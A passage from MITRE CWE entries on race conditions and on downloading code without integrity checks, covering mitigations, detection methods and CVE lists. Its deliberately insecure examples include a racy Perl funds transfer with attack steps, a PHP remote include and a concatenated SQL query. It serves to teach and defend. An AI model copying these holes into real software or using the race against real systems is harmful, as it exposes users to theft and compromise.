Access Control	Technical Impact: Execute Unauthorized Code or Commands; Gain Privileges or Assume Identity; Bypass Protection Mechanism This can have security implications when the expected synchronization is in security-critical code, such as recording whether a user is authenticated or modifying important state information that should not be influenced by an outsider.

Potential Mitigations

Phase: Architecture and Design

In languages that support it, use synchronization primitives. Only wrap these around critical code to minimize the impact on performance.

Phase: Architecture and Design

Use thread-safe capabilities such as the data access abstraction in Spring.

Phase: Architecture and Design

Minimize the usage of shared resources in order to remove as much complexity as possible from the control flow and to reduce the likelihood of unexpected conditions occurring.

Additionally, this will minimize the amount of synchronization necessary and may even help to reduce the likelihood of a denial of service where an attacker may be able to repeatedly trigger a critical section (CWE-400).

Phase: Implementation

When using multithreading and operating on shared variables, only use thread-safe functions.

Phase: Implementation

Use atomic operations on shared variables. Be wary of innocent-looking constructs such as "x++". This may appear atomic at the code layer, but it is actually non-atomic at the instruction layer, since it involves a read, followed by a computation, followed by a write.

Phase: Implementation

Use a mutex if available, but be sure to avoid related weaknesses such as CWE-412.

Phase: Implementation

Avoid double-checked locking (CWE-609) and other implementation errors that arise when trying to avoid the overhead of synchronization.

Phase: Implementation

Disable interrupts or signals over critical parts of the code, but also make sure that the code does not go into a large or infinite loop.

Phase: Implementation

Use the volatile type modifier for critical variables to avoid unexpected compiler optimization or reordering. This does not necessarily solve the synchronization problem, but it can help.

Phases: Architecture and Design; Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.	691	Insufficient Control Flow Management
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	364	Signal Handler Race Condition
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	366	Race Condition within a Thread
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	367	Time-of-check Time-of-use (TOCTOU) Race Condition
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	368	Context Switching Race Condition
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	421	Race Condition During Access to Alternate Channel
ParentOf	Composite - a Compound Element that consists of two or more distinct weaknesses, in which all weaknesses must be present at the same time in order for a potential vulnerability to arise. Removing any of the weaknesses eliminates or sharply reduces the risk. One weakness, X, can be "broken down" into component weaknesses Y and Z. There can be cases in which one weakness might not be essential to a composite, but changes the nature of the composite when it becomes a vulnerability.	689	Permission Race Condition During Resource Copy
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1223	Race Condition for Write-Once Attributes
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1298	Hardware Logic Contains Race Conditions
CanFollow	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	662	Improper Synchronization
CanPrecede	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	416	Use After Free
CanPrecede	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	476	NULL Pointer Dereference

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	367	Time-of-check Time-of-use (TOCTOU) Race Condition

Modes Of Introduction

Phase

Note

Architecture and Design

Implementation

Programmers may assume that certain code sequences execute too quickly to be affected by an interfering code sequence; when they are not, this violates atomicity. For example, the single "x++" statement may appear atomic at the code layer, but it is actually non-atomic at the instruction layer, since it involves a read (the original value of x), followed by a computation (x+1), followed by a write (save the result to x).

Applicable Platforms

Languages

C (Sometimes Prevalent)

C++ (Sometimes Prevalent)

Java (Sometimes Prevalent)

Technologies

Class: Mobile (Undetermined Prevalence)

Class: ICS/OT (Undetermined Prevalence)

Likelihood Of Exploit

Medium

Demonstrative Examples

Example 1

This code could be used in an e-commerce application that supports transfers between accounts. It takes the total amount of the transfer, sends it to the new account, and deducts the amount from the original account.

(bad code)

Example Language: Perl

$transfer_amount = GetTransferAmount();
$balance = GetBalanceFromDatabase();

if ($transfer_amount < 0) {

FatalError("Bad Transfer Amount");

}
$newbalance = $balance - $transfer_amount;
if (($balance - $transfer_amount) < 0) {

FatalError("Insufficient Funds");

}
SendNewBalanceToDatabase($newbalance);
NotifyUser("Transfer of $transfer_amount succeeded.");
NotifyUser("New balance: $newbalance");

A race condition could occur between the calls to GetBalanceFromDatabase() and SendNewBalanceToDatabase().

Suppose the balance is initially 100.00. An attack could be constructed as follows:

(attack code)

Example Language: Other

In the following pseudocode, the attacker makes two simultaneous calls of the program, CALLER-1 and CALLER-2. Both callers are for the same user account.
CALLER-1 (the attacker) is associated with PROGRAM-1 (the instance that handles CALLER-1). CALLER-2 is associated with PROGRAM-2.
CALLER-1 makes a transfer request of 80.00.
PROGRAM-1 calls GetBalanceFromDatabase and sets $balance to 100.00
PROGRAM-1 calculates $newbalance as 20.00, then calls SendNewBalanceToDatabase().
Due to high server load, the PROGRAM-1 call to SendNewBalanceToDatabase() encounters a delay.
CALLER-2 makes a transfer request of 1.00.
PROGRAM-2 calls GetBalanceFromDatabase() and sets $balance to 100.00. This happens because the previous PROGRAM-1 request was not processed yet.
PROGRAM-2 determines the new balance as 99.00.
After the initial delay, PROGRAM-1 commits its balance to the database, setting it to 20.00.
PROGRAM-2 sends a request to update the database, setting the balance to 99.00

At this stage, the attacker should have a balance of 19.00 (due to 81.00 worth of transfers), but the balance is 99.00, as recorded in the database.

To prevent this weakness, the programmer has several options, including using a lock to prevent multiple simultaneous requests to the web application, or using a synchronization mechanism that includes all the code between GetBalanceFromDatabase() and SendNewBalanceToDatabase().

Example 2

The following function attempts to acquire a lock in order to perform operations on a shared resource.

(bad code)

Example Language: C

void f(pthread_mutex_t *mutex) {

pthread_mutex_lock(mutex);

/* access shared resource */

pthread_mutex_unlock(mutex);

}

However, the code does not check the value returned by pthread_mutex_lock() for errors. If pthread_mutex_lock() cannot acquire the mutex for any reason, the function may introduce a race condition into the program and result in undefined behavior.

In order to avoid data races, correctly written programs must check the result of thread synchronization functions and appropriately handle all errors, either by attempting to recover from them or reporting them to higher levels.

(good code)

Example Language: C

int f(pthread_mutex_t *mutex) {

int result;

result = pthread_mutex_lock(mutex);
if (0 != result)

return result;

/* access shared resource */

return pthread_mutex_unlock(mutex);

}

Example 3

Suppose a processor's Memory Management Unit (MMU) has 5 other shadow MMUs to distribute its workload for its various cores. Each MMU has the start address and end address of "accessible" memory. Any time this accessible range changes (as per the processor's boot status), the main MMU sends an update message to all the shadow MMUs.

Suppose the interconnect fabric does not prioritize such "update" packets over other general traffic packets. This introduces a race condition. If an attacker can flood the target with enough messages so that some of those attack packets reach the target before the new access ranges gets updated, then the attacker can leverage this scenario.

Observed Examples

Reference	Description
CVE-2022-29527	Go application for cloud management creates a world-writable sudoers file that allows local attackers to inject sudo rules and escalate privileges to root by winning a race condition.
CVE-2021-1782	Chain: improper locking (CWE-667) leads to race condition (CWE-362), as exploited in the wild per CISA KEV.
CVE-2021-0920	Chain: mobile platform race condition (CWE-362) leading to use-after-free (CWE-416), as exploited in the wild per CISA KEV.
CVE-2020-6819	Chain: race condition (CWE-362) leads to use-after-free (CWE-416), as exploited in the wild per CISA KEV.
CVE-2019-18827	chain: JTAG interface is not disabled (CWE-1191) during ROM code execution, introducing a race condition (CWE-362) to extract encryption keys
CVE-2019-1161	Chain: race condition (CWE-362) in anti-malware product allows deletion of files by creating a junction (CWE-1386) and using hard links during the time window in which a temporary file is created and deleted.
CVE-2015-1743	TOCTOU in sandbox process allows installation of untrusted browser add-ons by replacing a file after it has been verified, but before it is executed
CVE-2014-8273	Chain: chipset has a race condition (CWE-362) between when an interrupt handler detects an attempt to write-enable the BIOS (in violation of the lock bit), and when the handler resets the write-enable bit back to 0, allowing attackers to issue BIOS writes during the timing window [REF-1237].
CVE-2008-5044	Race condition leading to a crash by calling a hook removal procedure while other activities are occurring at the same time.
CVE-2008-2958	chain: time-of-check time-of-use (TOCTOU) race condition in program allows bypass of protection mechanism that was designed to prevent symlink attacks.
CVE-2008-1570	chain: time-of-check time-of-use (TOCTOU) race condition in program allows bypass of protection mechanism that was designed to prevent symlink attacks.
CVE-2008-0058	Unsynchronized caching operation enables a race condition that causes messages to be sent to a deallocated object.
CVE-2008-0379	Race condition during initialization triggers a buffer overflow.
CVE-2007-6599	Daemon crash by quickly performing operations and undoing them, which eventually leads to an operation that does not acquire a lock.
CVE-2007-6180	chain: race condition triggers NULL pointer dereference
CVE-2007-5794	Race condition in library function could cause data to be sent to the wrong process.
CVE-2007-3970	Race condition in file parser leads to heap corruption.
CVE-2008-5021	chain: race condition allows attacker to access an object while it is still being initialized, causing software to access uninitialized memory.
CVE-2009-4895	chain: race condition for an argument value, possibly resulting in NULL dereference
CVE-2009-3547	chain: race condition might allow resource to be released before operating on it, leading to NULL dereference
CVE-2006-5051	Chain: Signal handler contains too much functionality (CWE-828), introducing a race condition (CWE-362) that leads to a double free (CWE-415).

Detection Methods

Black Box

Black box methods may be able to identify evidence of race conditions via methods such as multiple simultaneous connections, which may cause the software to become instable or crash. However, race conditions with very narrow timing windows would not be detectable.

White Box

Common idioms are detectable in white box analysis, such as time-of-check-time-of-use (TOCTOU) file operations (CWE-367), or double-checked locking (CWE-609).

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Race conditions may be detected with a stress-test by calling the software simultaneously from a large number of threads or processes, and look for evidence of any unexpected behavior.

Insert breakpoints or delays in between relevant code statements to artificially expand the race window so that it will be easier to detect.

Effectiveness: Moderate

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Cost effective for partial coverage:

Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: High

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Web Application Scanner
Web Services Scanner
Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Framework-based Fuzzer

Cost effective for partial coverage:

Fuzz Tester
Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness: High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Manual Source Code Review (not inspections)

Cost effective for partial coverage:

Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Source code Weakness Analyzer
Context-configured Source Code Weakness Analyzer

Effectiveness: High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

Memberships

Nature	Type	ID	Name
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	635	Weaknesses Originally Used by NVD from 2008 to 2016
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	751	2009 Top 25 - Insecure Interaction Between Components
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	801	2010 Top 25 - Insecure Interaction Between Components
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	852	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 9 - Visibility and Atomicity (VNA)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	867	2011 Top 25 - Weaknesses On the Cusp
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	882	CERT C++ Secure Coding Section 14 - Concurrency (CON)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	988	SFP Secondary Cluster: Race Condition Window
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1142	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 08. Visibility and Atomicity (VNA)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1364	ICS Communications: Zone Boundary Failures
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1365	ICS Communications: Unreliability
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1366	ICS Communications: Frail Security in Protocols
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1376	ICS Engineering (Construction/Deployment): Security Gaps in Commissioning
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1387	Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1401	Comprehensive Categorization: Concurrency
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1425	Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses

Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit

Notes

Research Gap

Race conditions in web applications are under-studied and probably under-reported. However, in 2008 there has been growing interest in this area.

Research Gap

Much of the focus of race condition research has been in Time-of-check Time-of-use (TOCTOU) variants (CWE-367), but many race conditions are related to synchronization problems that do not necessarily require a time-of-check.

Research Gap

From a classification/taxonomy perspective, the relationships between concurrency and program state need closer investigation and may be useful in organizing related issues.

Maintenance

The relationship between race conditions and synchronization problems (CWE-662) needs to be further developed. They are not necessarily two perspectives of the same core concept, since synchronization is only one technique for avoiding race conditions, and synchronization can be used for other purposes besides race condition prevention.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Race Conditions
The CERT Oracle Secure Coding Standard for Java (2011)	VNA03-J		Do not assume that a group of calls to independently atomic methods is atomic

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
CAPEC-26	Leveraging Race Conditions
CAPEC-29	Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions

References

[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 13: Race Conditions." Page 205. McGraw-Hill. 2010.

[REF-349] Andrei Alexandrescu. "volatile - Multithreaded Programmer's Best Friend". Dr. Dobb's. 2008-02-01. <https://drdobbs.com/cpp/volatile-the-multithreaded-programmers-b/184403766>. URL validated: 2023-04-07.

[REF-350] Steven Devijver. "Thread-safe webapps using Spring". <https://web.archive.org/web/20170609174845/http://www.javalobby.org/articles/thread-safe/index.jsp>. URL validated: 2023-04-07.

[REF-351] David Wheeler. "Prevent race conditions". 2007-10-04. <https://www.ida.liu.se/~TDDC90/literature/papers/SP-race-conditions.pdf>. URL validated: 2023-04-07.

[REF-352] Matt Bishop. "Race Conditions, Files, and Security Flaws; or the Tortoise and the Hare Redux". 1995-09. <https://seclab.cs.ucdavis.edu/projects/vulnerabilities/scriv/ucd-ecs-95-08.pdf>. URL validated: 2023-04-07.

[REF-353] David Wheeler. "Secure Programming for Linux and Unix HOWTO". 2003-03-03. <https://dwheeler.com/secure-programs/Secure-Programs-HOWTO/avoid-race.html>. URL validated: 2023-04-07.

[REF-354] Blake Watts. "Discovering and Exploiting Named Pipe Security Flaws for Fun and Profit". 2002-04. <https://www.blakewatts.com/blog/discovering-and-exploiting-named-pipe-security-flaws-for-fun-and-profit>. URL validated: 2023-04-07.

[REF-355] Roberto Paleari, Davide Marrone, Danilo Bruschi and Mattia Monga. "On Race Vulnerabilities in Web Applications". <http://security.dico.unimi.it/~roberto/pubs/dimva08-web.pdf>.

[REF-356] "Avoiding Race Conditions and Insecure File Operations". Apple Developer Connection. <https://web.archive.org/web/20081010155022/http://developer.apple.com/documentation/Security/Conceptual/SecureCodingGuide/Articles/RaceConditions.html>. URL validated: 2023-04-07.

[REF-357] Johannes Ullrich. "Top 25 Series - Rank 25 - Race Conditions". SANS Software Security Institute. 2010-03-26. <https://web.archive.org/web/20100530231203/http://blogs.sans.org:80/appsecstreetfighter/2010/03/26/top-25-series-rank-25-race-conditions/>. URL validated: 2023-04-07.

[REF-76] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. <https://web.archive.org/web/20211209014121/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/least-privilege>. URL validated: 2023-04-07.

[REF-1237] CERT Coordination Center. "Intel BIOS locking mechanism contains race condition that enables write protection bypass". 2015-01-05. <https://www.kb.cert.org/vuls/id/766164/>.

Content History

Submissions
Submission Date	Submitter	Organization
2006-07-19 (CWE Draft 3, 2006-07-19)	PLOVER
2006-07-19 (CWE Draft 3, 2006-07-19)
Contributions
Contribution Date	Contributor	Organization
2010-04-30	Martin Sebor	Cisco Systems, Inc.
2010-04-30	Provided Demonstrative Example
2024-02-29 (CWE 4.16, 2024-11-19)	Abhi Balakrishnan
2024-02-29 (CWE 4.16, 2024-11-19)	Provided diagram to improve CWE usability
Modifications
Modification Date	Modifier	Organization
2008-07-01	Eric Dalci	Cigital
2008-07-01	updated Time_of_Introduction
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Relationships, Taxonomy_Mappings
2008-10-14	CWE Content Team	MITRE
2008-10-14	updated Relationships
2008-11-24	CWE Content Team	MITRE
2008-11-24	updated Relationships, Taxonomy_Mappings
2009-01-12	CWE Content Team	MITRE
2009-01-12	updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Likelihood_of_Exploit, Maintenance_Notes, Observed_Examples, Potential_Mitigations, References, Relationships, Research_Gaps
2009-03-10	CWE Content Team	MITRE
2009-03-10	updated Demonstrative_Examples, Potential_Mitigations
2009-05-27	CWE Content Team	MITRE
2009-05-27	updated Relationships
2010-02-16	CWE Content Team	MITRE
2010-02-16	updated Detection_Factors, References, Relationships
2010-06-21	CWE Content Team	MITRE
2010-06-21	updated Common_Consequences, Demonstrative_Examples, Detection_Factors, Potential_Mitigations, References
2010-09-27	CWE Content Team	MITRE
2010-09-27	updated Observed_Examples, Potential_Mitigations, Relationships
2010-12-13	CWE Content Team	MITRE
2010-12-13	updated Applicable_Platforms, Demonstrative_Examples, Description, Name, Potential_Mitigations, Relationships
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-06-27	CWE Content Team	MITRE
2011-06-27	updated Relationships
2011-09-13	CWE Content Team	MITRE
2011-09-13	updated Relationships, Taxonomy_Mappings
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Potential_Mitigations, References, Relationships
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Detection_Factors, Relationships
2015-12-07	CWE Content Team	MITRE
2015-12-07	updated Relationships
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Demonstrative_Examples, References, Research_Gaps, Taxonomy_Mappings
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated Relationships, Taxonomy_Mappings
2019-06-20	CWE Content Team	MITRE
2019-06-20	updated Relationships
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Applicable_Platforms, Demonstrative_Examples, Observed_Examples, Relationships
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2021-03-15	CWE Content Team	MITRE
2021-03-15	updated Demonstrative_Examples
2021-10-28	CWE Content Team	MITRE
2021-10-28	updated Observed_Examples, References
2022-04-28	CWE Content Team	MITRE
2022-04-28	updated Observed_Examples, Relationships
2022-06-28	CWE Content Team	MITRE
2022-06-28	updated Observed_Examples, Relationships
2022-10-13	CWE Content Team	MITRE
2022-10-13	updated Observed_Examples, References
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Applicable_Platforms, Common_Consequences, Description
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated References, Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes, Relationships
2024-07-16 (CWE 4.15, 2024-07-16)	CWE Content Team	MITRE
2024-07-16 (CWE 4.15, 2024-07-16)	updated Relationships
2024-11-19 (CWE 4.16, 2024-11-19)	CWE Content Team	MITRE
2024-11-19 (CWE 4.16, 2024-11-19)	updated Alternate_Terms, Common_Consequences, Description, Diagram, Modes_of_Introduction
Previous Entry Names
Change Date	Previous Entry Name
2008-04-11	Race Conditions
2010-12-13	Race Condition

Weakness ID: 494

View customized information:

Description

The product downloads source code or an executable from a remote location and executes the code without sufficiently verifying the origin and integrity of the code.

Extended Description

An attacker can execute malicious code by compromising the host server, performing DNS spoofing, or modifying the code in transit.

Common Consequences

Scope	Impact	Likelihood
Integrity Availability Confidentiality Other	Technical Impact: Execute Unauthorized Code or Commands; Alter Execution Logic; Other Executing untrusted code could compromise the control flow of the program. The untrusted code could execute attacker-controlled commands, read or modify sensitive resources, or prevent the software from functioning correctly for legitimate users.

Potential Mitigations

Phase: Implementation

Perform proper forward and reverse DNS lookups to detect DNS spoofing.

Note: This is only a partial solution since it will not prevent your code from being modified on the hosting site or in transit.

Phases: Architecture and Design; Operation

Encrypt the code with a reliable encryption scheme before transmitting.

This will only be a partial solution, since it will not detect DNS spoofing and it will not prevent your code from being modified on the hosting site.

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Speficially, it may be helpful to use tools or frameworks to perform integrity checking on the transmitted code.

When providing the code that is to be downloaded, such as for automatic updates of the software, then use cryptographic signatures for the code and modify the download clients to verify the signatures. Ensure that the implementation does not contain CWE-295, CWE-320, CWE-347, and related weaknesses.
Use code signing technologies such as Authenticode. See references [REF-454] [REF-455] [REF-456].

Phases: Architecture and Design; Operation

Strategy: Environment Hardening

Phases: Architecture and Design; Operation

Strategy: Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.

OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness: Limited

Note: The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	345	Insufficient Verification of Data Authenticity
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	669	Incorrect Resource Transfer Between Spheres
CanFollow	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1214	Data Integrity Issues

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	669	Incorrect Resource Transfer Between Spheres

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1020	Verify Message Integrity

Modes Of Introduction

Phase	Note
Architecture and Design	OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
Implementation

Applicable Platforms

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Likelihood Of Exploit

Medium

Demonstrative Examples

Example 1

This example loads an external class from a local subdirectory.

(bad code)

Example Language: Java

URL[] classURLs= new URL[]{

new URL("file:subdir/")

};
URLClassLoader loader = new URLClassLoader(classURLs);
Class loadedClass = Class.forName("loadMe", true, loader);

This code does not ensure that the class loaded is the intended one, for example by verifying the class's checksum. An attacker may be able to modify the class file to execute malicious code.

Example 2

This code includes an external script to get database credentials, then authenticates a user against the database, allowing access to the application.

(bad code)

Example Language: PHP

//assume the password is already encrypted, avoiding CWE-312

function authenticate($username,$password){

include("http://external.example.com/dbInfo.php");

//dbInfo.php makes $dbhost, $dbuser, $dbpass, $dbname available
mysql_connect($dbhost, $dbuser, $dbpass) or die ('Error connecting to mysql');
mysql_select_db($dbname);
$query = 'Select * from users where username='.$username.' And password='.$password;
$result = mysql_query($query);

if(mysql_numrows($result) == 1){

mysql_close();
return true;

}
else{

mysql_close();
return false;

}

This code does not verify that the external domain accessed is the intended one. An attacker may somehow cause the external domain name to resolve to an attack server, which would provide the information for a false database. The attacker may then steal the usernames and encrypted passwords from real user login attempts, or simply allow themself to access the application without a real user account.

This example is also vulnerable to an Adversary-in-the-Middle AITM (CWE-300) attack.

Observed Examples

Reference	Description
CVE-2019-9534	Satellite phone does not validate its firmware image.
CVE-2021-22909	Chain: router's firmware update procedure uses curl with "-k" (insecure) option that disables certificate validation (CWE-295), allowing adversary-in-the-middle (AITM) compromise with a malicious firmware image (CWE-494).
CVE-2008-3438	OS does not verify authenticity of its own updates.
CVE-2008-3324	online poker client does not verify authenticity of its own updates.
CVE-2001-1125	anti-virus product does not verify automatic updates for itself.
CVE-2002-0671	VOIP phone downloads applications from web sites without verifying integrity.

Detection Methods

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Specifically, manual static analysis is typically required to find the behavior that triggers the download of code, and to determine whether integrity-checking methods are in use.

Note: These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Black Box

Attach the monitor to the process and also sniff the network connection. Trigger features related to product updates or plugin installation, which is likely to force a code download. Monitor when files are downloaded and separately executed, or if they are otherwise read back into the process. Look for evidence of cryptographic library calls that use integrity checking.

Automated Static Analysis

Effectiveness: High

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	752	2009 Top 25 - Risky Resource Management
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	802	2010 Top 25 - Risky Resource Management
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	859	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 16 - Platform Security (SEC)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	865	2011 Top 25 - Risky Resource Management
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	884	CWE Cross-section
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	991	SFP Secondary Cluster: Tainted Input to Environment
